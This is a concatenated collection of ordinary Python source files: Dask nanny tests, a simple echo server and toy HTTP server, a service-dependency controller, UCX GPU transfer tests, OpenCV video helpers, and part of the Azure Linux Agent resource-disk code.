client=True,
Worker=Worker,
clean_kwargs={"threads": False},
)
async def test_throttle_outgoing_connections(c, s, a, *workers):
# But a bunch of small data on worker a
await c.run(lambda: logging.getLogger("distributed.worker").setLevel(logging.DEBUG))
remote_data = c.map(
lambda x: b"0" * 10000, range(10), pure=False, workers=[a.address]
)
await wait(remote_data)
def pause(dask_worker):
# Patch paused and memory_monitor on the one worker
# This is is very fragile, since a refactor of memory_monitor to
# remove _memory_monitoring will break this test.
dask_worker._memory_monitoring = True
dask_worker.paused = True
dask_worker.outgoing_current_count = 2
await c.run(pause, workers=[a.address])
requests = [
await a.get_data(await w.rpc.connect(w.address), keys=[f.key], who=w.address)
for w in workers
for f in remote_data
]
await wait(requests)
wlogs = await c.get_worker_logs(workers=[a.address])
wlogs = "\n".join(x[1] for x in wlogs[a.address])
assert "throttling" in wlogs.lower()
@gen_cluster(nthreads=[], client=True)
def test_avoid_memory_monitor_if_zero_limit(c, s):
nanny = yield Nanny(s.address, loop=s.loop, memory_limit=0)
typ = yield c.run(lambda dask_worker: type(dask_worker.data))
assert typ == {nanny.worker_address: dict}
pcs = yield c.run(lambda dask_worker: list(dask_worker.periodic_callbacks))
assert "memory" not in pcs
assert "memory" not in nanny.periodic_callbacks
future = c.submit(inc, 1)
assert (yield future) == 2
yield gen.sleep(0.02)
yield c.submit(inc, 2) # worker doesn't pause
yield nanny.close()
@gen_cluster(nthreads=[], client=True)
def test_scheduler_address_config(c, s):
with dask.config.set({"scheduler-address": s.address}):
nanny = yield Nanny(loop=s.loop)
assert nanny.scheduler.address == s.address
start = time()
while not s.workers:
yield gen.sleep(0.1)
assert time() < start + 10
yield nanny.close()
@pytest.mark.slow
@gen_test(timeout=20)
def test_wait_for_scheduler():
with captured_logger("distributed") as log:
w = Nanny("127.0.0.1:44737")
IOLoop.current().add_callback(w.start)
yield gen.sleep(6)
yield w.close()
log = log.getvalue()
assert "error" not in log.lower(), log
assert "restart" not in log.lower(), log
@gen_cluster(nthreads=[], client=True)
def test_environment_variable(c, s):
a = Nanny(s.address, loop=s.loop, memory_limit=0, env={"FOO": "123"})
b = Nanny(s.address, loop=s.loop, memory_limit=0, env={"FOO": "456"})
yield [a, b]
results = yield c.run(lambda: os.environ["FOO"])
assert results == {a.worker_address: "123", b.worker_address: "456"}
yield [a.close(), b.close()]
@gen_cluster(nthreads=[], client=True)
def test_data_types(c, s):
w = yield Nanny(s.address, data=dict)
r = yield c.run(lambda dask_worker: type(dask_worker.data))
assert r[w.worker_address] == dict
yield w.close()
def _noop(x):
"""Define here because closures aren't pickleable."""
pass
@gen_cluster(
nthreads=[("127.0.0.1", 1)],
client=True,
Worker=Nanny,
config={"distributed.worker.daemon": False},
)
def test_mp_process_worker_no_daemon(c, s, a):
def multiprocessing_worker():
p = mp.Process(target=_noop, args=(None,))
p.start()
p.join()
yield c.submit(multiprocessing_worker)
@gen_cluster(
nthreads=[("127.0.0.1", 1)],
client=True,
Worker=Nanny,
config={"distributed.worker.daemon": False},
)
def test_mp_pool_worker_no_daemon(c, s, a):
def pool_worker(world_size):
with mp.Pool(processes=world_size) as p:
p.map(_noop, range(world_size))
yield c.submit(pool_worker, 4)
@pytest.mark.asyncio
async def test_nanny_closes_cleanly(cleanup):
async with Scheduler() as s:
n = await Nanny(s.address)
assert n.process.pid
proc = n.process.process
await n.close()
assert not n.process
assert not proc.is_alive()
assert proc.exitcode == 0
@pytest.mark.slow
@pytest.mark.asyncio
async def test_lifetime(cleanup):
counter = 0
event = asyncio.Event()
class Plugin(SchedulerPlugin):
def add_worker(self, **kwargs):
pass
def remove_worker(self, **kwargs):
nonlocal counter
counter += 1
if counter == 2: # wait twice, then trigger closing event
event.set()
async with Scheduler() as s:
s.add_plugin(Plugin())
async with Nanny(s.address) as a:
async with Nanny(s.address, lifetime="500 ms", lifetime_restart=True) as b:
await event.wait()
@pytest.mark.asyncio
async def test_nanny_closes_cleanly(cleanup):
async with Scheduler() as s:
async with Nanny(s.address) as n:
async with Client(s.address, asynchronous=True) as client:
with client.rpc(n.worker_address) as w:
IOLoop.current().add_callback(w.terminate)
start = time()
while n.status != "closed":
await gen.sleep(0.01)
assert time() < start + 5
assert n.status == "closed"
@pytest.mark.asyncio
async def test_config(cleanup):
async with Scheduler() as s:
async with Nanny(s.address, config={"foo": "bar"}) as n:
async with Client(s.address, asynchronous=True) as client:
config = await client.run(dask.config.get, "foo")
assert config[n.worker_address] == "bar"
|
multi_echo_server.py
|
#!/usr/bin/env python3
import socket
from multiprocessing import Process
# CONSTANTS
INBOUND_HOST = "" # Listen for all possible hosts
INBOUND_PORT = 8001
INBOUND_BUFFER_SIZE = 1024
def echo(conn, addr):
print("Connected by:", str(addr[0]) + ":" + str(addr[1]))
with conn:
# Accepted connection
data = conn.recv(INBOUND_BUFFER_SIZE)
conn.sendall(data)
conn.shutdown(socket.SHUT_RDWR)
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# Set socket option, here, reuse the same bind port
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Bind socket to address
s.bind((INBOUND_HOST, INBOUND_PORT))
# Set to listening mode
s.listen(2)
# Continuously listen for connections
while True:
conn, addr = s.accept()
p = Process(target=echo, args=(conn, addr))
p.daemon = True
p.start()
print("Start process:", p.pid)
if __name__ == "__main__":
main()
|
webserver.py
|
import json
import mimetypes
import pathlib
import re
import socket
import socketserver
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler
from io import BytesIO
try:
from pyretree import pyretree
except ImportError:
# Gross way to import from the repository structure
sys.path.append(str(pathlib.Path(__file__).parent.parent.parent.parent.absolute()))
from pyretree import pyretree
# --------
def build_http_response(data, content_type='text/html', response_code='200 OK'):
"""
Base HTTP response maker.
----
data (str | bytes) : Data to be packed into an HTTP response
content_type (str) : Mimetype of data
response_code (str) : HTTP response code
----
Returns (bytes) of the packaged HTTP response.
"""
http_header = f'HTTP/1.1 {response_code}\r\nContent-Type: {content_type}\r\nContent-Length: {len(data)}\r\n\r\n'
if content_type.startswith('text') and type(data) != bytes:
return bytes(http_header + data, 'utf-8')
else:
return bytes(http_header, 'utf-8') + data
# ----
EXTRACT_HTML_HEAD_RE = re.compile('<% head %>(.+)<% /head %>', re.MULTILINE | re.DOTALL)
def build_html_response(data, response_code='200 OK'):
"""
data (str) : HTML excluding <head> (see below)
----
Returns (bytes) HTTP response of parsed template file. Use <% head %> ... <% /head %> to add to
HTML head. Data is automatically wrapped with <html> and given proper meta tags.
"""
extracted_head = EXTRACT_HTML_HEAD_RE.search(data)
head = ''
if extracted_head is not None:
data = data.replace(extracted_head.group(0), '')
head = extracted_head.group(1)
meta_content = '<meta content="text/html;charset=utf-8" http-equiv="Content-Type"><meta content="utf-8" http-equiv="encoding">'
return build_http_response(f'<html><head>{meta_content}{head}</head>{data}</html>', response_code=response_code)
# ----
def _recursive_json_load(data):
# Move through dict recursively and load as much of the JSON as we can
for key, val in data.items():
if type(val) == str:
try:
data[key] = json.loads(data[key])
except json.decoder.JSONDecodeError:
pass
else:
_recursive_json_load(data[key])
def build_json_response(data, response_code='200 OK'):
"""
data (str | dict) : JSON encodable data
response_code (str) : HTTP response code
----
Return (bytes) HTTP response of JSON-encoded data.
"""
if type(data) == str:
data = json.loads(data)
elif type(data) == dict:
_recursive_json_load(data)
encoded_json = json.dumps(data)
return bytes(f'HTTP/1.1 {response_code}\r\nContent-Type: application/json\r\nContent-Length: {len(encoded_json)}\r\n\r\n{encoded_json}', 'utf-8')
# ----
def build_file_response(path, content_type=None):
"""
path (str) : Path to file relative to www-root folder next to your server script
content_type (str) : Mimetype; if set to None mimetype will automatically be determined
----
Return (bytes) HTTP response containing file data. If content_type is set of determined
to be text/html, the file will be parsed as a template. 404's if <path> is a directory.
"""
try:
path = urllib.parse.unquote(str(path)).replace('..', '')
content_type = content_type if content_type is not None else mimetypes.guess_type(path)[0]
if content_type is None:
# 404 on directories
return HTTP_404()
mode = 'r' if content_type.startswith('text') else 'rb'
with open(path, mode) as file:
data = file.read()
if content_type == 'text/html':
return build_html_response(data)
return build_http_response(data, content_type=content_type)
except FileNotFoundError:
return HTTP_404()
except (OSError, PermissionError):
return HTTP_403()
except Exception as ex:
print(f'Exception: {str(ex)}')
return HTTP_500()
# --------
# Common HTTP responses for ease of use
def HTTP_200(msg='200 OK'): return build_http_response(msg, response_code='200 OK')
def HTTP_201(msg='201 Created'): return build_http_response(msg, response_code='201 Created')
def HTTP_204(msg='204 No Content'): return build_http_response(msg, response_code='204 No Content')
def HTTP_400(msg='400 Bad Request'): return build_http_response(msg, response_code='400 Bad Request')
def HTTP_403(msg='403 Forbidden'): return build_http_response(msg, response_code='403 Forbidden')
def HTTP_404(msg='404 Not Found'): return build_http_response(msg, response_code='404 Not Found')
def HTTP_500(msg='500 Internal Server Error'): return build_http_response(msg, response_code='500 Internal Server Error')
# --------
class _HTTPRequest(BaseHTTPRequestHandler):
# https://stackoverflow.com/questions/4685217/parse-raw-http-headers
def __init__(self, request_text):
self.rfile = BytesIO(request_text)
self.raw_requestline = self.rfile.readline()
self.error_code = self.error_message = None
self.path = None
self.parse_request()
# --------
# multipart/form-data data parsing
_MULTIPART_BOUNDARY_RE = re.compile('Content-Type: multipart/form-data; ?boundary=(.+)\\r\\n')
_MULTIPART_DATA_RE = re.compile('Content-Disposition: form-data; name="(.+)"\\r\\n\\r\\n(.+)\\r\\n--')
class _ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
path_handler = None # Prepared instance of pyretree.RegexCollection(separator='/')
def handle(self):
data_bytes = self.request.recv(1024)
if len(data_bytes) == 0:
# Ignore empty requests
return
http_request = _HTTPRequest(data_bytes)
extra_params = {}
# Handle form data
if http_request.command in ['POST', 'PUT']:
data_str = str(data_bytes, encoding='utf-8')
separator = '\r\n\r\n' if '\r\n\r\n' in data_str else '\n\n'
request_parts = data_str.split(separator)
form_data = separator.join(request_parts[1:]) if len(request_parts) > 1 else ''
# multipart/form-data
multipart_boundary = _MULTIPART_BOUNDARY_RE.search(request_parts[0])
if multipart_boundary is not None:
# Data separated by a specific boundary
multipart_boundary = multipart_boundary.group(1)
multiparts = form_data.split(multipart_boundary)
multipart_data = {}
for part in multiparts:
_result = _MULTIPART_DATA_RE.search(part)
if _result is not None:
key, val = _result.groups()
multipart_data[key] = val
extra_params['form_data'] = multipart_data
# x-www-form-urlencoded
elif 'Content-Type: application/x-www-form-urlencoded' in request_parts[0]:
form_pairs = form_data.split('&')
x_www_data = {}
# Data in format key=val&key2=val2
for pair in form_pairs:
try:
split_pairs = pair.split('=')
key = split_pairs[0]
val = '='.join(split_pairs[1:])
x_www_data[key] = val
except IndexError:
# Ignore malformed form data
pass
extra_params['form_data'] = x_www_data
# raw/binary/graphql
else:
extra_params['form_data'] = form_data
# Handle basic URL parameters
if len(http_request.path.split('?')) > 1:
url_params = {}
params = '?'.join(http_request.path.split('?')[1:]).split('&')
for param in params:
parts = param.split('=')
url_params[parts[0]] = '='.join(parts[1:])
http_request.path = http_request.path.split('?')[0]
extra_params['url_params'] = url_params
while True:
success = error_handled = False
try:
success, response = self.path_handler.match(f'{http_request.command}:{http_request.path}', extra_params=extra_params)
break
except TypeError as ex:
# Handle unexcepted parameters / post data by ignoring them
ex_str = str(ex)
if ex_str.endswith("unexpected keyword argument 'url_params'"):
extra_params.pop('url_params')
elif ex_str.endswith("unexpected keyword argument 'form_data'"):
extra_params.pop('form_data')
else:
error_handled = True
response = HTTP_400()
break
except Exception as ex:
print(f'Exception: {str(ex)}')
error_handled = True
response = HTTP_500()
break
if not success and not error_handled:
response = HTTP_404()
self.request.sendall(response)
class _ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
# ----
class ThreadedWebServer:
def __init__(self, host='localhost', port=5000):
"""
Multithreaded webserver for demonstrative purposes. No safety guarantees whatsoever.
----
host (str) : Host for the server
port (int) : Port for the server
"""
self.host = host
self.port = port
self.path_handler = pyretree.RegexCollection(separator='/')
# ----
def add_path(self, path):
"""
Decorator : Add a path to the server and bind it to the decorated function.
----
path (str) : A path in the format "HTTP_VERB:path"; for example, "GET:/my-path".
Use <some_var> and <some_var=foo> to extract values from the path.
"""
return self.path_handler.add(path)
# ----
def run_forever(self):
"""
Run the server until CTRL+C is pressed or the process exits.
"""
self.path_handler.prepare()
request_handler = _ThreadedTCPRequestHandler
request_handler.path_handler = self.path_handler
with _ThreadedTCPServer((self.host, self.port), request_handler) as server:
# Start a thread with the server. Will spawn threads for each request thereafter.
server_thread = threading.Thread(target=server.serve_forever, daemon=True)
server_thread.start()
print(f'Server is up at {self.host}:{self.port}. CTRL + C to close the server.')
try:
while True:
time.sleep(.5)
except KeyboardInterrupt:
print('Server shutting down...')
pass
server.shutdown()
|
common.py
|
#!/bin/env python3
# Imports
# -------------------------------------------
import yaml
import threading
import time
import logging
logger = logging.getLogger(__name__)
# Main classes
# -------------------------------------------
class Controller():
"""This object hold the whole resolving logic"""
timer = 1
nodes = {}
process_order = []
process_done = []
# Initialization methods
# -------------------------------------------
def __init__(self, config, timer=1):
self.load_conf(config)
self.timer = timer
def load_conf(self, config):
"""Load yaml conf, and load nodes with deps and parents"""
# Import yaml config
with open(config) as file:
raw_conf = yaml.load(file, Loader=yaml.FullLoader)
# Insert nodes into service dict
for name, spec in raw_conf.items():
self.nodes[name] = Node(name)
# Add dependencies references for each service
for name, spec in raw_conf.items():
if 'deps' in spec:
for dep in spec['deps']:
# Check referenced service exists
if not dep in self.nodes:
raise Exception (f'Missing "{dep}" dependency declaration for {name}')
# Do the association
parent = self.nodes[name]
child = self.nodes[dep]
parent.addDep(child)
child.addParent(parent)
# Runtime functions
# -------------------------------------------
def dump(self):
"""Display the content of raw data"""
logger.debug(f'Nodes list:')
for n, i in self.nodes.items():
logger.debug(f'- {n}:')
logger.debug(f' Depends:')
for j in i.depends:
logger.debug(f' - {j.name}')
logger.debug(f' Parents:')
for j in i.parents:
logger.debug(f' - {j.name}')
def srv_change(self, name, action):
"""Start or stop a service"""
# Safety checks
assert action in ['start', 'stop']
try:
srv = self.nodes[name]
except Exception as e:
raise Exception(f"Can't find service '{name}'\n{e}")
# Resolve the service order
# BUG: This is basically pointless as everythong is threadedd now ...
self.process_order = []
self.process_done = []
if action == 'start':
self.resolve_start(srv)
else:
self.resolve_stop(srv)
# Log infos
self.process_done = []
str_list = ", ".join([i.name for i in self.process_order])
logger.info(f'Sequential services order: {str_list}')
# Start services threads
threads = {}
for node in self.process_order:
threads[node.name] = threading.Thread(target=getattr(node, action), args=(self,))
threads[node.name].start()
# Wait for all threads to be finished
for name, t in threads.items():
t.join()
# Cleanup
self.process_order = []
self.process_done = []
if action == 'start':
logger.info (f'Service "{srv.name}" has been started!')
else:
logger.info (f'Service "{srv.name}" has been stopped!')
# Resolution algorithms
# -------------------------------------------
def resolve_start(self, node):
"""This static method to create the start resolution order"""
if not node in self.process_done:
self.process_done.append(node)
for i in node.depends:
if not i in self.process_done:
self.resolve_start(i)
else:
raise Exception (f'Infinite loop has been detected: "{node.name}" <=> "{i.name}"')
self.process_order.append(node)
def resolve_stop(self, node):
"""This static method to create the stop resolution order"""
if not node in self.process_done:
self.process_done.append(node)
self.process_order.append(node)
for i in node.depends:
if not i in self.process_done:
self.resolve_stop(i)
else:
raise Exception (f'Infinite loop has been detected: "{node.name}" <=> "{i.name}"')
class Node():
"""This class represent a service and its dependedncies"""
name = ''
depends = []
parents = []
# Initialization
# -------------------------------------------
def __init__(self, name):
self.name = name
self.depends = []
self.parents = []
def addDep(self, node):
"""Add a child dependency"""
self.depends.append(node)
def addParent(self, node):
"""Add a parent requirement"""
self.parents.append(node)
# Start and Stop logic
# -------------------------------------------
def start(self, controller):
"""Start the service but wait its deps"""
logger.debug (f'Service Start: {self.name}')
# Check dependencies are available
for dep in self.depends:
if not dep in controller.process_order:
logger.debug (f" Service Skip: {self.name} ignore {dep.name}")
continue
while not dep.name in controller.process_done :
logger.debug (f"Service Wait: {self.name} is waiting service {dep.name}")
time.sleep(0.5)
# Fake load the service
time.sleep(controller.timer)
logger.info (f'Service Started: {self.name}')
controller.process_done.append(self.name)
def stop(self, controller):
"""Stop the service but wait its deps"""
logger.debug (f'Service Stop: {self.name}')
# Check dependencies are available
for dep in self.parents:
if not dep in controller.process_order:
logger.debug (f" Service Skip: {self.name} ignore {dep.name}")
continue
while not dep.name in controller.process_done :
logger.debug (f" Service Wait: {self.name} is waiting service {dep.name}")
time.sleep(0.5)
# Fake load the service
time.sleep(controller.timer)
logger.info (f'Service Stopped: {self.name}')
controller.process_done.append(self.name)
|
scheduler.py
|
import time, threading
class Scheduler:
def __init__(self, interface=None, timer=10, timer_measurement="seconds"):
self.time_measurement_conv_table = {"seconds": 1, "minutes": 60, "hours": 3600}
self.interface = interface
self.waiting_time = int(timer) * self.time_measurement_conv_table[timer_measurement]
self._start_thread()
def _start_thread(self):
self.timer_thread = threading.Thread(target=self._wait)
self.timer_thread.daemon = True
self.timer_thread.start()
def _wait(self):
while True:
self.interface.trigger_prompt()
time.sleep(self.waiting_time)
|
test_send_recv_two_workers.py
|
import asyncio
import multiprocessing
import os
from distributed.comm.utils import from_frames, to_frames
from distributed.protocol import to_serialize
from distributed.utils import nbytes
import cloudpickle
import numpy as np
import pytest
import rmm
import ucp
from utils import more_than_two_gpus
cmd = "nvidia-smi nvlink --setcontrol 0bz" # Get output in bytes
# subprocess.check_call(cmd, shell=True)
pynvml = pytest.importorskip("pynvml", reason="PYNVML not installed")
ITERATIONS = 1
def cuda_array(size):
return rmm.device_array(size, dtype=np.uint8)
async def get_ep(name, port):
addr = ucp.get_address()
ep = await ucp.create_endpoint(addr, port)
return ep
def create_cuda_context():
import numba.cuda
numba.cuda.current_context()
def client(env, port, func):
# wait for server to come up
# receive cudf object
# deserialize
# assert deserialized msg is cdf
# send receipt
ucp.reset()
os.environ.update(env)
ucp.init()
# must create context before importing
# cudf/cupy/etc
before_rx, before_tx = total_nvlink_transfer()
async def read():
await asyncio.sleep(1)
ep = await get_ep("client", port)
msg = None
import cupy
cupy.cuda.set_allocator(None)
for i in range(ITERATIONS):
# storing cu objects in msg
# we delete to minimize GPU memory usage
# del msg
try:
# Recv meta data
nframes = np.empty(1, dtype=np.uint64)
await ep.recv(nframes)
is_cudas = np.empty(nframes[0], dtype=np.bool)
await ep.recv(is_cudas)
sizes = np.empty(nframes[0], dtype=np.uint64)
await ep.recv(sizes)
except (ucp.exceptions.UCXCanceled, ucp.exceptions.UCXCloseError) as e:
msg = "SOMETHING TERRIBLE HAS HAPPENED IN THE TEST"
raise e(msg)
else:
# Recv frames
frames = []
for is_cuda, size in zip(is_cudas.tolist(), sizes.tolist()):
if size > 0:
if is_cuda:
frame = cuda_array(size)
else:
frame = np.empty(size, dtype=np.uint8)
await ep.recv(frame)
frames.append(frame)
else:
if is_cuda:
frames.append(cuda_array(size))
else:
frames.append(b"")
msg = await from_frames(frames)
close_msg = b"shutdown listener"
close_msg_size = np.array([len(close_msg)], dtype=np.uint64)
await ep.send(close_msg_size)
await ep.send(close_msg)
print("Shutting Down Client...")
return msg["data"]
rx_cuda_obj = asyncio.get_event_loop().run_until_complete(read())
rx_cuda_obj + rx_cuda_obj
num_bytes = nbytes(rx_cuda_obj)
print(f"TOTAL DATA RECEIVED: {num_bytes}")
# nvlink only measures in KBs
if num_bytes > 90000:
rx, tx = total_nvlink_transfer()
msg = f"RX BEFORE SEND: {before_rx} -- RX AFTER SEND: {rx} \
-- TOTAL DATA: {num_bytes}"
print(msg)
assert rx > before_rx
cuda_obj_generator = cloudpickle.loads(func)
pure_cuda_obj = cuda_obj_generator()
from cudf.tests.utils import assert_eq
import cupy
if isinstance(rx_cuda_obj, cupy.ndarray):
cupy.testing.assert_allclose(rx_cuda_obj, pure_cuda_obj)
else:
assert_eq(rx_cuda_obj, pure_cuda_obj)
def server(env, port, func):
# create listener receiver
# write cudf object
# confirm message is sent correctly
ucp.reset()
os.environ.update(env)
ucp.init()
async def f(listener_port):
# coroutine shows up when the client asks
# to connect
async def write(ep):
import cupy
cupy.cuda.set_allocator(None)
print("CREATING CUDA OBJECT IN SERVER...")
cuda_obj_generator = cloudpickle.loads(func)
cuda_obj = cuda_obj_generator()
msg = {"data": to_serialize(cuda_obj)}
frames = await to_frames(msg, serializers=("cuda", "dask", "pickle"))
for i in range(ITERATIONS):
# Send meta data
await ep.send(np.array([len(frames)], dtype=np.uint64))
await ep.send(
np.array(
[hasattr(f, "__cuda_array_interface__") for f in frames],
dtype=np.bool,
)
)
await ep.send(np.array([nbytes(f) for f in frames], dtype=np.uint64))
# Send frames
for frame in frames:
if nbytes(frame) > 0:
await ep.send(frame)
print("CONFIRM RECEIPT")
close_msg = b"shutdown listener"
msg_size = np.empty(1, dtype=np.uint64)
await ep.recv(msg_size)
msg = np.empty(msg_size[0], dtype=np.uint8)
await ep.recv(msg)
recv_msg = msg.tobytes()
assert recv_msg == close_msg
print("Shutting Down Server...")
await ep.close()
lf.close()
lf = ucp.create_listener(write, port=listener_port)
try:
while not lf.closed():
await asyncio.sleep(0.1)
except ucp.UCXCloseError:
pass
loop = asyncio.get_event_loop()
loop.run_until_complete(f(port))
def dataframe():
import cudf
import numpy as np
# always generate the same random numbers
np.random.seed(0)
size = 2 ** 26
return cudf.DataFrame(
{"a": np.random.random(size), "b": np.random.random(size)},
index=np.random.randint(size, size=size),
)
def series():
import cudf
return cudf.Series(np.arange(90000))
def empty_dataframe():
import cudf
return cudf.DataFrame({"a": [1.0], "b": [1.0]}).head(0)
def cupy():
import cupy
size = 10 ** 8
return cupy.arange(size)
@pytest.mark.skipif(
not more_than_two_gpus(), reason="Machine does not have more than two GPUs"
)
@pytest.mark.parametrize(
"cuda_obj_generator", [dataframe, empty_dataframe, series, cupy]
)
def test_send_recv_cu(cuda_obj_generator):
import os
base_env = os.environ
env1 = base_env.copy()
env2 = base_env.copy()
# reverse CVD for other worker
env2["CUDA_VISIBLE_DEVICES"] = base_env["CUDA_VISIBLE_DEVICES"][::-1]
import random
port = random.randint(13000, 15500)
# serialize function and send to the client and server
# server will use the return value of the contents,
# serialize the values, then send serialized values to client.
# client will compare return values of the deserialized
# data sent from the server
func = cloudpickle.dumps(cuda_obj_generator)
ctx = multiprocessing.get_context("spawn")
server_process = ctx.Process(name="server", target=server, args=[env1, port, func])
client_process = ctx.Process(name="client", target=client, args=[env2, port, func])
server_process.start()
client_process.start()
server_process.join()
client_process.join()
assert server_process.exitcode == 0
assert client_process.exitcode == 0
def total_nvlink_transfer():
import pynvml
pynvml.nvmlShutdown()
pynvml.nvmlInit()
try:
cuda_dev_id = int(os.environ["CUDA_VISIBLE_DEVICES"].split(",")[0])
except Exception as e:
print(e)
cuda_dev_id = 0
nlinks = pynvml.NVML_NVLINK_MAX_LINKS
handle = pynvml.nvmlDeviceGetHandleByIndex(cuda_dev_id)
rx = 0
tx = 0
for i in range(nlinks):
transfer = pynvml.nvmlDeviceGetNvLinkUtilizationCounter(handle, i, 0)
rx += transfer["rx"]
tx += transfer["tx"]
return rx, tx
|
app_utils.py
|
# import the necessary packages
from threading import Thread
import datetime
import cv2
class FPS:
def __init__(self):
# store the start time, end time, and total number of frames
# that were examined between the start and end intervals
self._start = None
self._end = None
self._numFrames = 0
def start(self):
# start the timer
self._start = datetime.datetime.now()
return self
def stop(self):
# stop the timer
self._end = datetime.datetime.now()
def update(self):
# increment the total number of frames examined during the
# start and end intervals
self._numFrames += 1
def elapsed(self):
# return the total number of seconds between the start and
# end interval
return (self._end - self._start).total_seconds()
def fps(self):
# compute the (approximate) frames per second
return self._numFrames / self.elapsed()
class WebcamVideoStream:
def __init__(self, src=0):
# initialize the video camera stream and read the first frame
# from the stream
self.stream = cv2.VideoCapture(src)
(self.grabbed, self.frame) = self.stream.read()
# initialize the variable used to indicate if the thread should
# be stopped
self.stopped = False
def start(self):
# start the thread to read frames from the video stream
Thread(target=self.update, args=()).start()
return self
def update(self):
# keep looping infinitely until the thread is stopped
while True:
# if the thread indicator variable is set, stop the thread
if self.stopped:
return
# otherwise, read the next frame from the stream
fps = 4
interval = int(1000 / fps)
(self.grabbed, self.frame) = self.stream.read()
if self.grabbed == True:
if cv2.waitKey(interval) & 0xFF == ord('q'):
break
def read(self):
# return the frame most recently read
return self.grabbed, self.frame
def stop(self):
# indicate that the thread should be stopped
self.stopped = True
def getWidth(self):
# Get the width of the frames
return int(self.stream.get(cv2.CAP_PROP_FRAME_WIDTH))
def getHeight(self):
# Get the height of the frames
return int(self.stream.get(cv2.CAP_PROP_FRAME_HEIGHT))
def getFPS(self):
# Get the frame rate of the frames
return int(self.stream.get(cv2.CAP_PROP_FPS))
def isOpen(self):
# Get the frame rate of the frames
return self.stream.isOpened()
def setFramePosition(self, framePos):
self.stream.set(cv2.CAP_PROP_POS_FRAMES, framePos)
def getFramePosition(self):
return int(self.stream.get(cv2.CAP_PROP_POS_FRAMES))
def getFrameCount(self):
return int(self.stream.get(cv2.CAP_PROP_FRAME_COUNT))
|
resourceDisk.py
|
# Microsoft Azure Linux Agent
#
# Copyright 2014 Microsoft Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Requires Python 2.4+ and Openssl 1.0+
#
import os
import re
import threading
import azurelinuxagent.logger as logger
from azurelinuxagent.future import ustr
import azurelinuxagent.conf as conf
from azurelinuxagent.event import add_event, WALAEventOperation
import azurelinuxagent.utils.fileutil as fileutil
import azurelinuxagent.utils.shellutil as shellutil
from azurelinuxagent.exception import ResourceDiskError
DATALOSS_WARNING_FILE_NAME="DATALOSS_WARNING_README.txt"
DATA_LOSS_WARNING="""\
WARNING: THIS IS A TEMPORARY DISK.
Any data stored on this drive is SUBJECT TO LOSS and THERE IS NO WAY TO RECOVER IT.
Please do not use this disk for storing any personal or application data.
For additional details to please refer to the MSDN documentation at : http://msdn.microsoft.com/en-us/library/windowsazure/jj672979.aspx
"""
class ResourceDiskHandler(object):
def __init__(self, distro):
self.distro = distro
def start_activate_resource_disk(self):
disk_thread = threading.Thread(target = self.run)
disk_thread.start()
def run(self):
mount_point = None
if conf.get_resourcedisk_format():
mount_point = self.activate_resource_disk()
if mount_point is not None and \
conf.get_resourcedisk_enable_swap():
self.enable_swap(mount_point)
def activate_resource_disk(self):
logger.info("Activate resource disk")
try:
mount_point = conf.get_resourcedisk_mountpoint()
fs = conf.get_resourcedisk_filesystem()
mount_point = self.mount_resource_disk(mount_point, fs)
warning_file = os.path.join(mount_point, DATALOSS_WARNING_FILE_NAME)
try:
fileutil.write_file(warning_file, DATA_LOSS_WARNING)
except IOError as e:
logger.warn("Failed to write data loss warnning:{0}", e)
return mount_point
except ResourceDiskError as e:
logger.error("Failed to mount resource disk {0}", e)
add_event(name="WALA", is_success=False, message=ustr(e),
op=WALAEventOperation.ActivateResourceDisk)
def enable_swap(self, mount_point):
logger.info("Enable swap")
try:
size_mb = conf.get_resourcedisk_swap_size_mb()
self.create_swap_space(mount_point, size_mb)
except ResourceDiskError as e:
logger.error("Failed to enable swap {0}", e)
def mount_resource_disk(self, mount_point, fs):
device = self.distro.osutil.device_for_ide_port(1)
if device is None:
raise ResourceDiskError("unable to detect disk topology")
device = "/dev/" + device
mountlist = shellutil.run_get_output("mount")[1]
existing = self.distro.osutil.get_mount_point(mountlist, device)
if(existing):
logger.info("Resource disk {0}1 is already mounted", device)
return existing
fileutil.mkdir(mount_point, mode=0o755)
logger.info("Detect GPT...")
partition = device + "1"
ret = shellutil.run_get_output("parted {0} print".format(device))
if ret[0]:
raise ResourceDiskError("({0}) {1}".format(device, ret[1]))
if "gpt" in ret[1]:
logger.info("GPT detected")
logger.info("Get GPT partitions")
parts = [x for x in ret[1].split("\n") if re.match("^\s*[0-9]+", x)]
logger.info("Found more than {0} GPT partitions.", len(parts))
if len(parts) > 1:
logger.info("Remove old GPT partitions")
for i in range(1, len(parts) + 1):
logger.info("Remove partition: {0}", i)
shellutil.run("parted {0} rm {1}".format(device, i))
logger.info("Create a new GPT partition using entire disk space")
shellutil.run("parted {0} mkpart primary 0% 100%".format(device))
logger.info("Format partition: {0} with fstype {1}",partition,fs)
shellutil.run("mkfs." + fs + " " + partition + " -F")
else:
logger.info("GPT not detected")
logger.info("Check fstype")
ret = shellutil.run_get_output("sfdisk -q -c {0} 1".format(device))
if ret[1].rstrip() == "7" and fs != "ntfs":
logger.info("The partition is formatted with ntfs")
logger.info("Format partition: {0} with fstype {1}",partition,fs)
shellutil.run("sfdisk -c {0} 1 83".format(device))
shellutil.run("mkfs." + fs + " " + partition + " -F")
logger.info("Mount resource disk")
ret = shellutil.run("mount {0} {1}".format(partition, mount_point),
chk_err=False)
if ret:
logger.warn("Failed to mount resource disk. Retry mounting")
shellutil.run("mkfs." + fs + " " + partition + " -F")
ret = shellutil.run("mount {0} {1}".format(partition, mount_point))
if ret:
raise ResourceDiskError("({0}) {1}".format(partition, ret))
logger.info("Resource disk ({0}) is mounted at {1} with fstype {2}",
device, mount_point, fs)
return mount_point
def create_swap_space(self, mount_point, size_mb):
size_kb = size_mb * 1024
size = size_kb * 1024
swapfile = os.path.join(mount_point, 'swapfile')
swaplist = shellutil.run_get_output("swapon -s")[1]
if swapfile in swaplist and os.path.getsize(swapfile) == size:
logger.info("Swap already enabled")
return
if os.path.isfile(swapfile) and os.path.getsize(swapfile) != size:
